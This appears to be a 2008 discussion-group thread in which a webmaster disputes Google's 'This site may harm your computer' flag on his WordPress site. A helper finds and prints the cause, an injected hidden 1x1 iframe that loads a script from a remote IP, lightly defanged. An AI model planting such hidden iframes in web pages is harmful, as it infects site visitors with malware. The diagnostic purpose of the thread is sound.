From this website...
<b>"According to our guidelines, badware is software that engages in
potentially objectionable behaviors without adequately informing the
user and seeking their consent."</b>
Couldn't adding a statement like "This site may harm your computer."
under someone's online brand on the web be considered "objectionable
behavior"? Isn't leaving the specific reason for labeling someone's
online brand out of the discussion also"adequately informing the
user"?
Wouldn't "seeking their consent" be something like sending us an email
before you label our brand as "harmful"?
Finally, badware isn't even a word. You're engaged in potentially
mislabeling websites based on a word you've mad up! Maybe you think
you're writing righteousware?
According to MY guidelines of being a nice company (not a real thing),
your own guidelines label your own efforts as hypocritical at best.
Stopbadware.org and Google may think they're more righteous than me
but I promise you can't possibly hurt me as much as you're hurting
yourself.
I finally understand why so many people want control over their
content on google.com. I am now in that camp. Thanks for the
perception change all you self-righteous badware fighters. You are so
right.
I sent a note to stopbadware.org and go the following auto-reply,
"Unfortunately, we receive so much feedback that we may not have time
to respond to every suggestion and question, though we do read all of
it."
of course...
When I'm done at my ISP I'll be spending the rest of my day writing
about this. I'm probably the only person that has been affected by
this to be ale to cause stopbadware.org more pain than they have
caused me. Small axe on a big tree...
This will be fun eventually.
On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote:
> From this website...
> <b>"According to our guidelines, badware is software that engages in
> potentially objectionable behaviors without adequately informing the
> user and seeking their consent."</b>
> Couldn't adding a statement like "This site may harm your computer."
> under someone's online brand on the web be considered "objectionable
> behavior"? Isn't leaving the specific reason for labeling someone's
> online brand out of the discussion also"adequately informing the
> user"?
> Wouldn't "seeking their consent" be something like sending us an email
> before you label our brand as "harmful"?
> Finally, badware isn't even a word. You're engaged in potentially
> mislabeling websites based on a word you've mad up! Maybe you think
> you're writing righteousware?
> According to MY guidelines of being a nice company (not a real thing),
> your own guidelines label your own efforts as hypocritical at best.
> Stopbadware.org and Google may think they're more righteous than me
> but I promise you can't possibly hurt me as much as you're hurting
> yourself.
> I finally understand why so many people want control over their
> content on google.com. I am now in that camp. Thanks for the
> perception change all you self-righteous badware fighters. You are so
> right.
so instead of writing about att censorship of google, or any other number of important things you will target badware.org? who are you any way, please enlighten me since i have not heard of you before today
-Brent wrote: > I sent a note to stopbadware.org and go the following auto-reply, > "Unfortunately, we receive so much feedback that we may not have time > to respond to every suggestion and question, though we do read all of > it."
> of course...
> When I'm done at my ISP I'll be spending the rest of my day writing > about this. I'm probably the only person that has been affected by > this to be ale to cause stopbadware.org more pain than they have > caused me. Small axe on a big tree...
> This will be fun eventually.
> On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote:
>> From this website... >> <b>"According to our guidelines, badware is software that engages in >> potentially objectionable behaviors without adequately informing the >> user and seeking their consent."</b>
>> Couldn't adding a statement like "This site may harm your computer." >> under someone's online brand on the web be considered "objectionable >> behavior"? Isn't leaving the specific reason for labeling someone's >> online brand out of the discussion also"adequately informing the >> user"?
>> Wouldn't "seeking their consent" be something like sending us an email >> before you label our brand as "harmful"?
>> Finally, badware isn't even a word. You're engaged in potentially >> mislabeling websites based on a word you've mad up! Maybe you think >> you're writing righteousware?
>> According to MY guidelines of being a nice company (not a real thing), >> your own guidelines label your own efforts as hypocritical at best.
>> Stopbadware.org and Google may think they're more righteous than me >> but I promise you can't possibly hurt me as much as you're hurting >> yourself.
>> I finally understand why so many people want control over their >> content on google.com. I am now in that camp. Thanks for the >> perception change all you self-righteous badware fighters. You are so >> right.
okay, my web host, hostgator had the following to say, uh, write in
this chat session:
--
Jxxxxxx B.: Yeah because it is showing that message. You should find
out froim google what they think the problem is so you can fix it.
Brent: kewl, at least you folks aren't worried that I'm hosting
badware...
Brent: very kewl...
Brent: thanks
Brent: I'll go back to Google's webmaster tools and poke around there
some more...
Jxxxxxx B.: I don't see anything in there that's innapropriate.
Google can make mistakes sometime too
--
We all know that Google can make mistakes. In fact, one of my client's
websites have been dropped from the index. Maybe this is related to
stopbadware.org's assessment of my website? It's on the same server at
hostgator so I suppose it's possible.
Has anyone else had any of their site's dropped form the index as a
result of their hosting neighborhood?
okay, off to webmasterworld...
Have a great day everybody!
On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote:
> From this website...
> <b>"According to our guidelines, badware is software that engages in
> potentially objectionable behaviors without adequately informing the
> user and seeking their consent."</b>
> Couldn't adding a statement like "This site may harm your computer."
> under someone's online brand on the web be considered "objectionable
> behavior"? Isn't leaving the specific reason for labeling someone's
> online brand out of the discussion also"adequately informing the
> user"?
> Wouldn't "seeking their consent" be something like sending us an email
> before you label our brand as "harmful"?
> Finally, badware isn't even a word. You're engaged in potentially
> mislabeling websites based on a word you've mad up! Maybe you think
> you're writing righteousware?
> According to MY guidelines of being a nice company (not a real thing),
> your own guidelines label your own efforts as hypocritical at best.
> Stopbadware.org and Google may think they're more righteous than me
> but I promise you can't possibly hurt me as much as you're hurting
> yourself.
> I finally understand why so many people want control over their
> content on google.com. I am now in that camp. Thanks for the
> perception change all you self-righteous badware fighters. You are so
> right.
Going through the entire email chain (this and previous) I could not find the actual website for Brent. Maybe if he would post it in the next message, there would be someone willing to look at it for some hidden references of Malware.
> okay, my web host, hostgator had the following to say, uh, write in > this chat session: > -- > Jxxxxxx B.: Yeah because it is showing that message. You should find > out froim google what they think the problem is so you can fix it. > Brent: kewl, at least you folks aren't worried that I'm hosting > badware... > Brent: very kewl... > Brent: thanks > Brent: I'll go back to Google's webmaster tools and poke around there > some more... > Jxxxxxx B.: I don't see anything in there that's innapropriate. > Google can make mistakes sometime too > -- > We all know that Google can make mistakes. In fact, one of my client's > websites have been dropped from the index. Maybe this is related to > stopbadware.org's assessment of my website? It's on the same server at > hostgator so I suppose it's possible.
> Has anyone else had any of their site's dropped form the index as a > result of their hosting neighborhood?
> okay, off to webmasterworld...
> Have a great day everybody!
> On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote: > > From this website... > > <b>"According to our guidelines, badware is software that engages in > > potentially objectionable behaviors without adequately informing the > > user and seeking their consent."</b>
> > Couldn't adding a statement like "This site may harm your computer." > > under someone's online brand on the web be considered "objectionable > > behavior"? Isn't leaving the specific reason for labeling someone's > > online brand out of the discussion also"adequately informing the > > user"?
> > Wouldn't "seeking their consent" be something like sending us an email > > before you label our brand as "harmful"?
> > Finally, badware isn't even a word. You're engaged in potentially > > mislabeling websites based on a word you've mad up! Maybe you think > > you're writing righteousware?
> > According to MY guidelines of being a nice company (not a real thing), > > your own guidelines label your own efforts as hypocritical at best.
> > Stopbadware.org and Google may think they're more righteous than me > > but I promise you can't possibly hurt me as much as you're hurting > > yourself.
> > I finally understand why so many people want control over their > > content on google.com. I am now in that camp. Thanks for the > > perception change all you self-righteous badware fighters. You are so > > right.
Aloha Vincent, I'm not a big name on the Internet or anywhere else. It
shouldn't be surprising that you haven't heard of me today. I just
learned of stopbadware's involvement in defaming my brand yesterday.
I'm the webmaster of bigislandfun.com, the site that has been labeled
potentially harmful to your computer by Google according to
stopbadware.org's guidelines.
Before yesterday, I mostly stood up for web professionals through
example, instruction and presentations. Today I will spread the word
about the ill-effects of self-righteous, hypocratic mal-orgs and how
stereotyping is just as bad on the web as anywhere else. I will target
Google for falling into the same trap and failing to uphold their own
standards. I believe, if this kind of effort turns into a search
company best practice, there will be confusion and pain for end users
on more levels than badware or malware writers can affect.
In my opinion, sterotyping websites is just sinking to the level of
badware. Giving it more energy in this way makes it bigger than it is.
This makes stopbadware.org a malorg according to my definition. Here's
my definition of a malorg
"An organization on the web that advocates solutions that can and do
potentially harm the very people they purport to serve."
More characteristics of a malorg?
>> often uses a domain name with a .org extention
>> has questionable accounting practices
>> uses their leverage to create larger affect without prior cause and effect analysis
>> failure to report metrics import to or asked for by the people or businesses they harm
>> difficult to contact offending malorg
>> lack of clarity when it comes to getting into compliance of malorgs wishes or guidelines
>> suffering party does not receive a warning of falling outside of malorgs wishes or guidelines
>> very little rich content on malorg's website indicate inability to do anything other than write on the web
>> a manifesto written by an individual without peer review or community signatures
As you probably know Vincent, it's often not who you've heard of that
matters. It's often who you remember that really made a difference.
Because I am a nobody I can do this. It may also be the reason I have
probably failed to "enlighten" you or anyone else.
It's still not clear to me what level of involvement this particular
"malorg" has in the big picture. Maybe I'm really the one that needs
enlightening?
Now, this you may find interesting...
Let's watch this search term and see if it catches on...
"stopbadware.org is a malorg."
( Your search - stopbadware.org is a malorg. - did not match any
documents.)
Btw, what is att censorship of google? Did you mean "alt"
Thanks
On Jan 29, 9:42 am, Vincent S Rose <vincentsr...@gmail.com> wrote:
> so instead of writing about att censorship of google, or any other
> number of important things you will target badware.org?
> who are you any way, please enlighten me since i have not heard of you
> before today
> -Brent wrote:
> > I sent a note to stopbadware.org and go the following auto-reply,
> > "Unfortunately, we receive so much feedback that we may not have time
> > to respond to every suggestion and question, though we do read all of
> > it."
> > of course...
> > When I'm done at my ISP I'll be spending the rest of my day writing
> > about this. I'm probably the only person that has been affected by
> > this to be ale to cause stopbadware.org more pain than they have
> > caused me. Small axe on a big tree...
> > This will be fun eventually.
> > On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote:
> >> From this website...
> >> <b>"According to our guidelines, badware is software that engages in
> >> potentially objectionable behaviors without adequately informing the
> >> user and seeking their consent."</b>
> >> Couldn't adding a statement like "This site may harm your computer."
> >> under someone's online brand on the web be considered "objectionable
> >> behavior"? Isn't leaving the specific reason for labeling someone's
> >> online brand out of the discussion also"adequately informing the
> >> user"?
> >> Wouldn't "seeking their consent" be something like sending us an email
> >> before you label our brand as "harmful"?
> >> Finally, badware isn't even a word. You're engaged in potentially
> >> mislabeling websites based on a word you've mad up! Maybe you think
> >> you're writing righteousware?
> >> According to MY guidelines of being a nice company (not a real thing),
> >> your own guidelines label your own efforts as hypocritical at best.
> >> Stopbadware.org and Google may think they're more righteous than me
> >> but I promise you can't possibly hurt me as much as you're hurting
> >> yourself.
> >> I finally understand why so many people want control over their
> >> content on google.com. I am now in that camp. Thanks for the
> >> perception change all you self-righteous badware fighters. You are so
> >> right.
> Going through the entire email chain (this and previous) I could not find
> the actual website for Brent. Maybe if he would post it in the next message,
> there would be someone willing to look at it for some hidden references of
> Malware.
> > okay, my web host, hostgator had the following to say, uh, write in
> > this chat session:
> > --
> > Jxxxxxx B.: Yeah because it is showing that message. You should find
> > out froim google what they think the problem is so you can fix it.
> > Brent: kewl, at least you folks aren't worried that I'm hosting
> > badware...
> > Brent: very kewl...
> > Brent: thanks
> > Brent: I'll go back to Google's webmaster tools and poke around there
> > some more...
> > Jxxxxxx B.: I don't see anything in there that's innapropriate.
> > Google can make mistakes sometime too
> > --
> > We all know that Google can make mistakes. In fact, one of my client's
> > websites have been dropped from the index. Maybe this is related to
> > stopbadware.org's assessment of my website? It's on the same server at
> > hostgator so I suppose it's possible.
> > Has anyone else had any of their site's dropped form the index as a
> > result of their hosting neighborhood?
> > okay, off to webmasterworld...
> > Have a great day everybody!
> > On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote:
> > > From this website...
> > > <b>"According to our guidelines, badware is software that engages in
> > > potentially objectionable behaviors without adequately informing the
> > > user and seeking their consent."</b>
> > > Couldn't adding a statement like "This site may harm your computer."
> > > under someone's online brand on the web be considered "objectionable
> > > behavior"? Isn't leaving the specific reason for labeling someone's
> > > online brand out of the discussion also"adequately informing the
> > > user"?
> > > Wouldn't "seeking their consent" be something like sending us an email
> > > before you label our brand as "harmful"?
> > > Finally, badware isn't even a word. You're engaged in potentially
> > > mislabeling websites based on a word you've mad up! Maybe you think
> > > you're writing righteousware?
> > > According to MY guidelines of being a nice company (not a real thing),
> > > your own guidelines label your own efforts as hypocritical at best.
> > > Stopbadware.org and Google may think they're more righteous than me
> > > but I promise you can't possibly hurt me as much as you're hurting
> > > yourself.
> > > I finally understand why so many people want control over their
> > > content on google.com. I am now in that camp. Thanks for the
> > > perception change all you self-righteous badware fighters. You are so
> > > right.
Quickly checking through the basic source of your home page, I found this code:
<!-- Traffic Statistics --><br /> <iframe src=http: //61.132 .75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br /> <!-- End Traffic Statistics --></p> (I have intentinally added spaces to remove the hyperlink).
I am quite certain that you didn't put in that. The IP address if of an ISP somewhere in China. (Check out any of the IP lookup website and you will know). Also I found this entry that has a similar problem.
It seems that wordpress is quite known to have an iframe injection vulnerability.
Please remove the code above and I am certain you case for removing from the malware sites list will move quicker. Once done, I suggest you take this up with your hosting provider to find out why this was compromised and efforts to prevent future occurences.
> Sorry about that Mukul, here's the domain: bigislandfun.com
> Google reviewed the site as well as my hosting provider. The code was > written by the amazing designers and developers in the WordPress > community.
> Thanks again for bringing this to my attention Mukul.
> -Brent
> On Jan 29, 9:50 am, "Mukul Dharwadkar" <mukul.dharwad...@gmail.com> > wrote: > > Going through the entire email chain (this and previous) I could not > find > > the actual website for Brent. Maybe if he would post it in the next > message, > > there would be someone willing to look at it for some hidden references > of > > Malware.
> > > okay, my web host, hostgator had the following to say, uh, write in > > > this chat session: > > > -- > > > Jxxxxxx B.: Yeah because it is showing that message. You should find > > > out froim google what they think the problem is so you can fix it. > > > Brent: kewl, at least you folks aren't worried that I'm hosting > > > badware... > > > Brent: very kewl... > > > Brent: thanks > > > Brent: I'll go back to Google's webmaster tools and poke around there > > > some more... > > > Jxxxxxx B.: I don't see anything in there that's innapropriate. > > > Google can make mistakes sometime too > > > -- > > > We all know that Google can make mistakes. In fact, one of my client's > > > websites have been dropped from the index. Maybe this is related to > > > stopbadware.org's assessment of my website? It's on the same server at > > > hostgator so I suppose it's possible.
> > > Has anyone else had any of their site's dropped form the index as a > > > result of their hosting neighborhood?
> > > okay, off to webmasterworld...
> > > Have a great day everybody!
> > > On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote: > > > > From this website... > > > > <b>"According to our guidelines, badware is software that engages in > > > > potentially objectionable behaviors without adequately informing the > > > > user and seeking their consent."</b>
> > > > Couldn't adding a statement like "This site may harm your computer." > > > > under someone's online brand on the web be considered "objectionable > > > > behavior"? Isn't leaving the specific reason for labeling someone's > > > > online brand out of the discussion also"adequately informing the > > > > user"?
> > > > Wouldn't "seeking their consent" be something like sending us an > email > > > > before you label our brand as "harmful"?
> > > > Finally, badware isn't even a word. You're engaged in potentially > > > > mislabeling websites based on a word you've mad up! Maybe you think > > > > you're writing righteousware?
> > > > According to MY guidelines of being a nice company (not a real > thing), > > > > your own guidelines label your own efforts as hypocritical at best.
> > > > Stopbadware.org <http://stopbadware.org/> and Google may think > they're more righteous than me > > > > but I promise you can't possibly hurt me as much as you're hurting > > > > yourself.
> > > > I finally understand why so many people want control over their > > > > content on google.com. I am now in that camp. Thanks for the > > > > perception change all you self-righteous badware fighters. You are > so > > > > right.
> > -- > > Smile!!! :) It improves your face value...
I really appreciate your efforts and the fact that you stepped up and
gave a solution. I hope someone else will be helped y your posts. You
sure made my day. I was also inspired to create malorg.com. So it's
been a big fun morning out here in the Pacific. ;)
I'll report back when I can get my online brand cleaned up. I've
already cleaned the homepage and will continue to scour the rest of my
pages/sites.
Thank you again!
-Brent
On Jan 29, 12:15 pm, "Mukul Dharwadkar" <mukul.dharwad...@gmail.com>
wrote:
> Quickly checking through the basic source of your home page, I found this
> code:
> <!-- Traffic Statistics --><br />
> <iframe src=http: //61.132 .75.71/iframe/wp-stats.php width=1 height=1
> frameborder=0></iframe><br />
> <!-- End Traffic Statistics --></p>
> (I have intentinally added spaces to remove the hyperlink).
> I am quite certain that you didn't put in that. The IP address if of an ISP
> somewhere in China. (Check out any of the IP lookup website and you will
> know). Also I found this entry that has a similar problem.
> It seems that wordpress is quite known to have an iframe injection
> vulnerability.
> Please remove the code above and I am certain you case for removing from the
> malware sites list will move quicker. Once done, I suggest you take this up
> with your hosting provider to find out why this was compromised and efforts
> to prevent future occurences.
> > Sorry about that Mukul, here's the domain: bigislandfun.com
> > Google reviewed the site as well as my hosting provider. The code was
> > written by the amazing designers and developers in the WordPress
> > community.
> > Thanks again for bringing this to my attention Mukul.
> > -Brent
> > On Jan 29, 9:50 am, "Mukul Dharwadkar" <mukul.dharwad...@gmail.com>
> > wrote:
> > > Going through the entire email chain (this and previous) I could not
> > find
> > > the actual website for Brent. Maybe if he would post it in the next
> > message,
> > > there would be someone willing to look at it for some hidden references
> > of
> > > Malware.
> > > Cheers
> > > Mukul
> > > On 1/29/08, -Brent <gros...@gmail.com> wrote:
> > > > okay, my web host, hostgator had the following to say, uh, write in
> > > > this chat session:
> > > > --
> > > > Jxxxxxx B.: Yeah because it is showing that message. You should find
> > > > out froim google what they think the problem is so you can fix it.
> > > > Brent: kewl, at least you folks aren't worried that I'm hosting
> > > > badware...
> > > > Brent: very kewl...
> > > > Brent: thanks
> > > > Brent: I'll go back to Google's webmaster tools and poke around there
> > > > some more...
> > > > Jxxxxxx B.: I don't see anything in there that's innapropriate.
> > > > Google can make mistakes sometime too
> > > > --
> > > > We all know that Google can make mistakes. In fact, one of my client's
> > > > websites have been dropped from the index. Maybe this is related to
> > > > stopbadware.org's assessment of my website? It's on the same server at
> > > > hostgator so I suppose it's possible.
> > > > Has anyone else had any of their site's dropped form the index as a
> > > > result of their hosting neighborhood?
> > > > okay, off to webmasterworld...
> > > > Have a great day everybody!
> > > > On Jan 29, 9:02 am, -Brent <gros...@gmail.com> wrote:
> > > > > From this website...
> > > > > <b>"According to our guidelines, badware is software that engages in
> > > > > potentially objectionable behaviors without adequately informing the
> > > > > user and seeking their consent."</b>
> > > > > Couldn't adding a statement like "This site may harm your computer."
> > > > > under someone's online brand on the web be considered "objectionable
> > > > > behavior"? Isn't leaving the specific reason for labeling someone's
> > > > > online brand out of the discussion also"adequately informing the
> > > > > user"?
> > > > > Wouldn't "seeking their consent" be something like sending us an
> > email
> > > > > before you label our brand as "harmful"?
> > > > > Finally, badware isn't even a word. You're engaged in potentially
> > > > > mislabeling websites based on a word you've mad up! Maybe you think
> > > > > you're writing righteousware?
> > > > > According to MY guidelines of being a nice company (not a real
> > thing),
> > > > > your own guidelines label your own efforts as hypocritical at best.
> > > > > Stopbadware.org <http://stopbadware.org/> and Google may think
> > they're more righteous than me
> > > > > but I promise you can't possibly hurt me as much as you're hurting
> > > > > yourself.
> > > > > I finally understand why so many people want control over their
> > > > > content on google.com. I am now in that camp. Thanks for the
> > > > > perception change all you self-righteous badware fighters. You are
> > so
> > > > > right.
> > > --
> > > Smile!!! :) It improves your face value...
On 29 Jan, 23:55, -Brent <gros...@gmail.com> wrote:
> aloha Makul, great big thanks!!
> I really appreciate your efforts and the fact that you stepped up and
> gave a solution. I hope someone else will be helped y your posts. You
> sure made my day. I was also inspired to create malorg.com. So it's
> been a big fun morning out here in the Pacific. ;)
> I'll report back when I can get my online brand cleaned up. I've
> already cleaned the homepage and will continue to scour the rest of my
> pages/sites.
I bet you won't be so forthcoming in issuing a reply apologising for
infecting any of the visitors that came to your site using a crappy
browser, no AVG or no AS. I doubt there will be a second post where
you will admit that you DID have malware on your site, and that a
small percentage of your visitors will have become infected, and that
you apologise if any of their credit card details were stolen after
visiting your site. And that if you (your visitors) do get a sudden
increase in spam this week, you do apologise that your computer was
added to part of a massive botnet being run out of Romania after being
infected from visiting the site.
I'm sure your apology to your readers will be a riveting read...
Google or Stopbadware doesn't give a toss if you have 1 visitor a
month or 100,000 visitors a day. If you have malware on your site, you
get listed.
You had malware, you got listed...
Make no mistake, EVERY single person that visited your site had their
computer attempted to be hacked.
Those that were protected or took the necessary precautions were safe,
but that isn't everyone...
You appear to have taken it so personal, but it doesn't take a great
Kahuna to work out the "potential" dangers and damage that your
infected website could have caused.
What should Google have done, waited a week until you bobbed up from
the bottom of the ocean, took off the scuba mask and said, ok, let's
check the safety of my website today because "I am a responsible
website owner/businessman. I care about my visitors that much"..
Now if I were in your position and I had the chance of scuba diving,
snowboarding, surfing, visiting lava flows or just living where you
do, I can guarantee 100% that I would be checking my web code once a
year ( if that) and making posts from my blackberry, ( so I don't
really blame you for this...)... But it doesn't excuse you from the
responsibilities that you and I have as a web master (or web site
owner).
And I guess whilst on your lecturing circuit when you'll be putting
Google down, you'll also be telling the audience how piss poor your
web hosting company was for allowing your server to be hacked in the
first place. And then you can thank your marvellous web development
team for keeping up with all the latest security patches... Extol the
virtues of FOSS and non-Windows OS's and remind them of how
wonderfully safe you are (just don't let them know about the latest
round of hacks for WordPress, rootkits for Linux based OS's and cPanel
privilege escalation hacks)
Be sure to give them a good mention to your audience, I'm sure so many
people will be wanting to use their services...
And you've also given a great advertisement for your own services by
showing your ignorance for both web safety and good web management.
Be sure to point that out when you are teaching....
I hear your frustration and I understand it, but a simple "my site is
listed, anyone know why?" would have got you the answer within seconds
of your post in this group.
It is mostly frequented by volunteers with no ties to Google or
Stopbadware. But instead you alienated yourself and earned few
friends.
I don't agree with everything that Google does, but at the end of the
day, it is THEIR index and THEIR users that they are protecting, so
THEY can do what THEY bloody well like...
As I said above, they don't discriminate between a site with 1 visitor
a month or 100,000 a day. If your site distributes malware (as yours
was), you get listed...
Oh, and the malorg.com idea was quite good, until you installed the
same crappy wordpress version that got your other site hacked, and the
fact that you stuck it on the same servers/web hosting company as your
original site which is most likely hacked already...
So all in all...good job all-round...
Remind us all again, just what is it that you teach ???
Bugger...wrong profile loaded when I posted... iamtotallyclueless is me... (which isn't too far from the truth since most people would argue I really am totally clueless)
I agree with everybody! But I still think a quick whois and emailing the webmaster to let them know that their site has malware would be more beneficial then the site owner discovering it weeks down the road after myriad clients have become infected...
robb wrote: > I agree with everybody! But I still think a quick whois and emailing > the webmaster to let them know that their site has malware would be > more beneficial then the site owner discovering it weeks down the road > after myriad clients have become infected...
That used to happen until a bunch of German webmasters were the victim of a scam/phishing attempt. Then it used to be your Google Webmasters Tool Panel was the source of any notification.
Even if Google did use the domain registration details, there is no guarantee that the email will be delivered and not trapped by some anti-spam filter somewhere along the chain, and a lot of email addresses are out of date. You also have domain privacy to consider which is becoming more prevalent these days.
Checking the Google Web Master Tool daily is essential for any web master who uses or relies on placements in the Google Index. Email is far too unreliable thanks to the bad guys...
Chris, I don't owe anyone an apology that has not been affected. If I
knew of one person that was affected, of course I would apologize. I
am responsible for the content on my site -NOT Google!
It's only noon out here. It took three days to remove the "This site
may harm your computer" message. You think I should already have an
apology on my site? I just found out the "This site may harm your
computer" message has been removed. How about keeping my apologies to
my visitors between me and my visitors? Isn't that exactly what your
claiming about Google rights to "their" listings and "their" users.
You're wrong about my version of WordPress. I'm using 2.3.2 for the
record. This addressed the sql injection vulnerability. My hosting
provider does ot provide a method for installing an older version of
WordPress. WordPress is not to blame. The person that hacked my site
is to blame. My hosting provider isn't to blame. The person that
hacked my site on their server is to blame.
It's my responsibility to check webmastertools daily? What? Does that
mean every site owner needs a Google account? Is this how we prevent
Google from adding a "This site may harm your computer." message to
our site when we've been hacked?
Chris, email works. That's how I found your attacks on me -NOT by
checking this forum daily in my reader or browser.
Is Google really protecting my visitors? Maybe you have evidence that
I had a visitor? Maybe you have evidence that someone's machine was
affected? Should we all turn over responsibility to stopbadware and
Google for our online protection? How is this related to organizing
the world's information?
Vint, does this guy represent your position from a Google perspective?
Gee, Chris, is there anything wrong with including my experience with
others? What's wrong with me bringing more awareness to the issues?
Maybe I should just keep quiet? Should I keep quiet because I'm under
safety umbrella of Google and Stopbadware.org? Are you protecting me
too Chris?
One thing you got right Chris, is the fact that I am somewhat clueless
about web safety. I even ignored a warning from WordPress indicating
that I should upgrade my version at bigislandfun.com.
Chris, you have a demonstrated ability to assess a situation and
attack without having all the facts.
We may have to agree to disagree on my personal web management
abilities. I guess there's no protection from personal attacks here at
Google or Stopbadware.org. Fwiw, that's part of what I like about the
web. I also like the fact that many of us are still learning.
Did anyone find the list of software that's considered badware,
malware or spyware? Are those recommendations to software publishers
ready?
Chris, most of us don't have web development team. We are the team.
I'm part of the totally clueless 90% of the website owners out there
that can be harmed by hackers. All of us have the potential to be
harmed by the lofty ideals of the few.
What I teach is also my business. Why not drop by one of my classes?
You probably wouldn't find any enlightenment either but maybe you
could show me your gifts of accusation and judgment in person?
Stop protecting me from badware. That's my responsibility. Stop adding
messages to my online brand. I can only imagine how you'd propose to
bring this kind of protectionists thinking to the offline world.
Since we don't pay Google, we have no say in how we can protect our
visitors. How about a checkbox that let's us opt-out programs we feel
could harm our business?
Here's a couple warning messages any organization could use to further
"protect us"... Afterall, why stop at badware, spware or malware?
>> "This home may harm you children." (posted when someone leaves a lit cigarette within reach of their kids)
>> "This car may kill you." (used when someone steals the inspection sticker off your car.)
>> How would you like to come to work to find a message on your cubicle that reads, "This worker may steal your time" when it's learned that someone was using your computer to do some personal online banking on the company's dime.
Everyone on the advisory board and BOD should be wary of good ideas
with side-effects that harm people -the very thing many of us are
working to prevent. Come up with better intent, fix the broken links
on your site (stopbadware.org). Let me decide when I need protection
for me or my visitors. My site and my visitors are my business. Where
are the privacy advocates?
An apology will be issued when I learn that someone was negatively
affected on my site. I will post the fix and acknowledge I was hacked.
It won't because of anything you wrote though Chris, it will be
written because I've found enough time and because Google has stopped
demonizing my online brand.
Thanks for the presentation fodder. I really do enjoy sharing the web
with each of you. Thank you for sharing a different perspective but
mostly thanks for the quick response with a solution, Oliver, Rick and
Makul! I'll post in my blog, newsletter and other sites.
<webregconf...@webregconfirm.co.uk> wrote:
> On 29 Jan, 23:55, -Brent <gros...@gmail.com> wrote:
> > aloha Makul, great big thanks!!
> > I really appreciate your efforts and the fact that you stepped up and
> > gave a solution. I hope someone else will be helped y your posts. You
> > sure made my day. I was also inspired to create malorg.com. So it's
> > been a big fun morning out here in the Pacific. ;)
> > I'll report back when I can get my online brand cleaned up. I've
> > already cleaned the homepage and will continue to scour the rest of my
> > pages/sites.
> I bet you won't be so forthcoming in issuing a reply apologising for
> infecting any of the visitors that came to your site using a crappy
> browser, no AVG or no AS. I doubt there will be a second post where
> you will admit that you DID have malware on your site, and that a
> small percentage of your visitors will have become infected, and that
> you apologise if any of their credit card details were stolen after
> visiting your site. And that if you (your visitors) do get a sudden
> increase in spam this week, you do apologise that your computer was
> added to part of a massive botnet being run out of Romania after being
> infected from visiting the site.
> I'm sure your apology to your readers will be a riveting read...
> Google or Stopbadware doesn't give a toss if you have 1 visitor a
> month or 100,000 visitors a day. If you have malware on your site, you
> get listed.
> You had malware, you got listed...
> Make no mistake, EVERY single person that visited your site had their
> computer attempted to be hacked.
> Those that were protected or took the necessary precautions were safe,
> but that isn't everyone...
> You appear to have taken it so personal, but it doesn't take a great
> Kahuna to work out the "potential" dangers and damage that your
> infected website could have caused.
> What should Google have done, waited a week until you bobbed up from
> the bottom of the ocean, took off the scuba mask and said, ok, let's
> check the safety of my website today because "I am a responsible
> website owner/businessman. I care about my visitors that much"..
> Now if I were in your position and I had the chance of scuba diving,
> snowboarding, surfing, visiting lava flows or just living where you
> do, I can guarantee 100% that I would be checking my web code once a
> year ( if that) and making posts from my blackberry, ( so I don't
> really blame you for this...)... But it doesn't excuse you from the
> responsibilities that you and I have as a web master (or web site
> owner).
> And I guess whilst on your lecturing circuit when you'll be putting
> Google down, you'll also be telling the audience how piss poor your
> web hosting company was for allowing your server to be hacked in the
> first place. And then you can thank your marvellous web development
> team for keeping up with all the latest security patches... Extol the
> virtues of FOSS and non-Windows OS's and remind them of how
> wonderfully safe you are (just don't let them know about the latest
> round of hacks for WordPress, rootkits for Linux based OS's and cPanel
> privilege escalation hacks)
> Be sure to give them a good mention to your audience, I'm sure so many
> people will be wanting to use their services...
> And you've also given a great advertisement for your own services by
> showing your ignorance for both web safety and good web management.
> Be sure to point that out when you are teaching....
> I hear your frustration and I understand it, but a simple "my site is
> listed, anyone know why?" would have got you the answer within seconds
> of your post in this group.
> It is mostly frequented by volunteers with no ties to Google or
> Stopbadware. But instead you alienated yourself and earned few
> friends.
> I don't agree with everything that Google does, but at the end of the
> day, it is THEIR index and THEIR users that they are protecting, so
> THEY can do what THEY bloody well like...
> As I said above, they don't discriminate between a site with 1 visitor
> a month or 100,000 a day. If your site distributes malware (as yours
> was), you get listed...
> Oh, and the malorg.com idea was quite good, until you installed the
> same crappy wordpress version that got your other site hacked, and the
> fact that you stuck it on the same servers/web hosting company as your
> original site which is most likely hacked already...
> So all in all...good job all-round...
> Remind us all again, just what is it that you teach ???
-Brent wrote: > Chris, I don't owe anyone an apology that has not been affected. If I > knew of one person that was affected, of course I would apologize. I > am responsible for the content on my site -NOT Google!
You are also responsible for the security of your site.
> It's only noon out here. It took three days to remove the "This site > may harm your computer" message. You think I should already have an > apology on my site? I just found out the "This site may harm your > computer" message has been removed. How about keeping my apologies to > my visitors between me and my visitors? Isn't that exactly what your > claiming about Google rights to "their" listings and "their" users.
I was referring to what you had written in your blog post:
> We have run virus checks as well as in-depth code checks to insure > there is nothing on this site that could harm your computer! We have > never run anything questionable. Google’s site index is indicating > that this site could be harmful.
> It’s not true. Our web hosting provider has also checked our site. > *There is no badware or malware on this site!*
You came into the group, not requesting help, but slamming Google and StobBadware for its actions, yet you have shown that you have no knowledge of the problem. Obviously your 'rant' is born out of 'understandable' frustration, but those are some pretty daft claims above for someone who obviously doesn't understand the problem.
Once you realise the potential danger that the malware on your site posed, you would understand Google's reasons for displaying the warning. As to how they display it, I don't agree with that 100% and I'm partly with you, but that's a different subject.
So what were these in-depth code checks that you ran? A simple compare of the present code with an archived code would have shown you the problem.
Google was 100% right that there was malware on your site that "could" damage a visitors computer...
> You're wrong about my version of WordPress. I'm using 2.3.2 for the > record. This addressed the sql injection vulnerability. My hosting > provider does ot provide a method for installing an older version of > WordPress. WordPress is not to blame. The person that hacked my site > is to blame. My hosting provider isn't to blame. The person that > hacked my site on their server is to blame.
